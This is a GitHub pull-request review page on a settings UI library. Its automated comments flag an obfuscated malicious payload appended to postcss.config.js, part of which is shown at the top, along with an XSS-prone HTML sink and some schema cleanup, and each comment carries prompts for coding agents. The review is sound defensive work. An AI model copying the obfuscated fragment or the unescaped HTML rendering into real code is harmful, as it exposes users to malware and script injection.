RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
};
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@postcss.config.js` at line 5, The postcss.config.js contains a malicious
obfuscated payload appended after the legitimate config closing "};" (look for
symbols _$_1e42, the global[_$_1e42[0]] = require assignment and the trailing
IIFE); remove everything from immediately after the legitimate config end (the
"};") including the _$_1e42 function, global assignments and the IIFE, and
restore the file to its previous clean state (use git to revert the file if
available); after removal, ensure the file only exports the intended PostCSS
config (no extra globals or IIFEs), run a quick repo scan for other occurrences
of _$_1e42 or similar obfuscation and audit recent commits/credentials as part
of follow-up.

Comment on lines +514 to +582
export function InfoPreviewField({ element, onChange }: FieldComponentProps) {
const { applyFilters, hookPrefix } = useSettings();

const value: InfoPreviewValue =
(element.value as InfoPreviewValue) ||
(element.default as InfoPreviewValue) ||
{};

const handleToggle = (key: string, checked: boolean) => {
onChange(element.id, { ...value, [key]: checked });
};

const filterPrefix = hookPrefix || 'plugin_ui';
const customPreview = applyFilters(
`${filterPrefix}_settings_info_preview_field_preview`,
null,
element,
value,
);
const preview =
customPreview ??
(element.image_url ? (
<img
src={element.image_url}
alt=""
className="max-w-[200px] h-auto rounded border border-border"
/>
) : null);

const displayLabel = element.label || element.title || '';
const options = element.options ?? [];

return (
<div className="p-5">
<div className="flex items-start justify-between gap-8">
<div className="flex-1 min-w-0 max-w-lg">
{displayLabel && (
<div className="text-sm font-semibold text-foreground">
{displayLabel}
</div>
)}
{element.description && (
<div className="text-xs text-muted-foreground leading-relaxed mt-1">
<RawHTML>{element.description}</RawHTML>
</div>
)}
{options.length > 0 && (
<div className="mt-4 flex flex-col gap-3">
{options.map((option) => {
const key = String(option.value);
return (
<LabeledCheckbox
key={key}
label={option.label ?? key}
checked={Boolean(value[key])}
onCheckedChange={(checked) =>
handleToggle(key, Boolean(checked))
}
/>
);
})}
</div>
)}
</div>
{preview && <div className="shrink-0">{preview}</div>}
</div>
</div>
);
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

New field variants bypass shared field/error wrapper.

InfoPreviewField and DangerSwitchField render custom shells and skip the shared wrapper path, so validation errors/consistent label-description behavior are not guaranteed.

As per coding guidelines, "Wrap form controls with the Field component for consistent label, description, and error display."

Also applies to: 593-710

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/fields.tsx` around lines 514 - 582, InfoPreviewField
and DangerSwitchField bypass the shared Field wrapper causing missing labels,
descriptions and error displays; wrap their form controls with the existing
Field component. Update InfoPreviewField (and DangerSwitchField) to render
inside the Field wrapper used by other fields: pass element, onChange and
children into <Field> and move displayLabel, description, options and validation
UI into Field’s children so the shared label/description/error rendering is
used; keep custom preview and controls as the Field children content and retain
existing callbacks (handleToggle/onCheckedChange) unchanged. Ensure you
import/use the same Field component used across settings fields so validation
messages and consistent layout appear.

Comment on lines +923 to +926
<div
className="prose prose-sm max-w-none"
dangerouslySetInnerHTML={{ __html: element.html_content }}
/>
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Verify unsafe HTML sinks and whether sanitization utilities already exist.
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss" --type ts --type tsx

Repository: getdokan/plugin-ui

Length of output: 90


🏁 Script executed:

#!/bin/bash
# Search for HTML injection patterns and sanitization utilities
# Fix: use --type ts instead of tsx, search ts and tsx files differently

# Search for patterns related to HTML injection and sanitization
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss|html_content" --type ts
rg -n "dangerouslySetInnerHTML|RawHTML|sanitize|DOMPurify|xss|html_content" --glob "*.tsx"

Repository: getdokan/plugin-ui

Length of output: 7369


🏁 Script executed:

#!/bin/bash
# Read the full HtmlField implementation to understand context
cat -n src/components/settings/fields.tsx | sed -n '910,940p'

Repository: getdokan/plugin-ui

Length of output: 1165


🏁 Script executed:

#!/bin/bash
# Check if there are any sanitization utilities in the project
fd -e ts -e tsx | xargs grep -l "sanitize\|purify\|stripTags\|escape" | head -20

Repository: getdokan/plugin-ui

Length of output: 132


🏁 Script executed:

#!/bin/bash
# Check the type definition for html_content in settings-types.ts
cat -n src/components/settings/settings-types.ts | grep -A 5 -B 5 "html_content"

Repository: getdokan/plugin-ui

Length of output: 456


🏁 Script executed:

#!/bin/bash
# Find the full HtmlField function definition
grep -n "export function HtmlField\|function HtmlField" src/components/settings/fields.tsx

Repository: getdokan/plugin-ui

Length of output: 138


🏁 Script executed:

#!/bin/bash
# Read the full HtmlField implementation
cat -n src/components/settings/fields.tsx | sed -n '900,930p'

Repository: getdokan/plugin-ui

Length of output: 1427


🏁 Script executed:

#!/bin/bash
# Check what RawHTML does and how it's used
rg -A 2 "import.*RawHTML.*from.*`@wordpress/element`" src/components/settings/fields.tsx

Repository: getdokan/plugin-ui

Length of output: 160


Respect the escape_html flag when rendering html_content.

The HtmlField component ignores the escape_html boolean flag defined in the schema type. When escape_html should be true, the component still injects HTML via dangerouslySetInnerHTML, creating an XSS surface.

Conditionally render:

  • Escaped text when element.escape_html === true
  • Raw HTML (via RawHTML or dangerouslySetInnerHTML) when element.escape_html !== true
🧰 Tools
🪛 ast-grep (0.42.2)

[warning] 924-924: Usage of dangerouslySetInnerHTML detected. This bypasses React's built-in XSS protection. Always sanitize HTML content using libraries like DOMPurify before injecting it into the DOM to prevent XSS attacks.
Context: dangerouslySetInnerHTML
Note: [CWE-79] Improper Neutralization of Input During Web Page Generation [REFERENCES]
- https://reactjs.org/docs/dom-elements.html#dangerouslysetinnerhtml
- https://cwe.mitre.org/data/definitions/79.html

(react-unsafe-html-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/fields.tsx` around lines 923 - 926, HtmlField
currently always injects element.html_content via dangerouslySetInnerHTML,
ignoring the schema flag element.escape_html and creating an XSS risk; update
the JSX around the element.html_content rendering so that if element.escape_html
=== true you render the content as escaped text (plain children, e.g., render
the string or use a safe text node) and only use RawHTML/dangerouslySetInnerHTML
when element.escape_html !== true; locate the rendering in the component that
uses element.html_content and element.escape_html and implement the conditional
branch there (keep the existing className="prose prose-sm max-w-none" wrapper
for both cases).

Comment on lines +304 to +323
export function buildIdIndex(
schema: SettingsElement[]
): Record<string, string> {
const idIndex: Record<string, string> = {};

const walk = (elements: SettingsElement[]) => {
for (const el of elements) {
if (
el.type === 'field' &&
el.id &&
el.dependency_key &&
el.id !== el.dependency_key
) {
// First writer wins — if two fields share an id (a schema
// bug consumers should detect with their own validator),
// we don't silently clobber the earlier mapping.
if (!(el.id in idIndex)) {
idIndex[el.id] = el.dependency_key;
}
}
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ Refactor suggestion | 🟠 Major | ⚡ Quick win

Remove legacy dependency_key logic from buildIdIndex.

This function still depends on el.dependency_key, which is removed from the schema contract. It should no longer inspect or map dot-path keys.

Proposed cleanup
 export function buildIdIndex(
     schema: SettingsElement[]
 ): Record<string, string> {
-    const idIndex: Record<string, string> = {};
-
-    const walk = (elements: SettingsElement[]) => {
-        for (const el of elements) {
-            if (
-                el.type === 'field' &&
-                el.id &&
-                el.dependency_key &&
-                el.id !== el.dependency_key
-            ) {
-                if (!(el.id in idIndex)) {
-                    idIndex[el.id] = el.dependency_key;
-                }
-            }
-            if (el.children && el.children.length > 0) {
-                walk(el.children);
-            }
-        }
-    };
-
-    walk(schema);
-    return idIndex;
+    // Kept only for backwards-compatible call signatures.
+    // dependency_key is removed in DOKAN_NEXT_MAJOR.
+    void schema;
+    return {};
 }
As per coding guidelines, "`dependency_key` must be removed from settings schema elements; consumers should read `element.id` directly."
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
export function buildIdIndex(
schema: SettingsElement[]
): Record<string, string> {
const idIndex: Record<string, string> = {};
const walk = (elements: SettingsElement[]) => {
for (const el of elements) {
if (
el.type === 'field' &&
el.id &&
el.dependency_key &&
el.id !== el.dependency_key
) {
// First writer wins — if two fields share an id (a schema
// bug consumers should detect with their own validator),
// we don't silently clobber the earlier mapping.
if (!(el.id in idIndex)) {
idIndex[el.id] = el.dependency_key;
}
}
export function buildIdIndex(
schema: SettingsElement[]
): Record<string, string> {
// Kept only for backwards-compatible call signatures.
// dependency_key is removed in DOKAN_NEXT_MAJOR.
void schema;
return {};
}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-formatter.ts` around lines 304 - 323, The
function buildIdIndex still reads el.dependency_key and maps ids to dot-paths;
remove all logic that references dependency_key so the index no longer maps to
dot-path keys. Update the walk loop in buildIdIndex to only consider elements
where el.type === 'field' and el.id is truthy, preserve the "first writer wins"
behavior (if (!(el.id in idIndex)) { ... }), and set idIndex[el.id] = el.id (or
otherwise record the id itself) instead of using el.dependency_key; remove any
dead code/branches that referenced dependency_key and keep SettingsElement/type
checks intact.

Comment on lines +152 to +153
/** Called when the save button is clicked. Receives the scope ID, nested tree values, and flat dot-keyed values. */
onSave?: (scopeId: string, treeValues: Record<string, any>, flatValues: Record<string, any>) => void;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Update onSave doc to match id-keyed contract.

The comment still says “flat dot-keyed values”, but this migration switched keys to plain field id.

As per coding guidelines, "dependency_key must be removed and consumers should read element.id directly."

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/components/settings/settings-types.ts` around lines 152 - 153, Update the
onSave JSDoc to reflect that flatValues uses plain field IDs (id-keyed) instead
of dot-keyed keys: change the comment on onSave to say it receives scopeId,
treeValues, and flatValues where flatValues are keyed by element.id (not
dot-delimited paths), and note that dependency_key has been removed so consumers
should read element.id directly. Ensure the description references the onSave
signature and the elements' id field (element.id) so callers know to use
id-keyed access.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants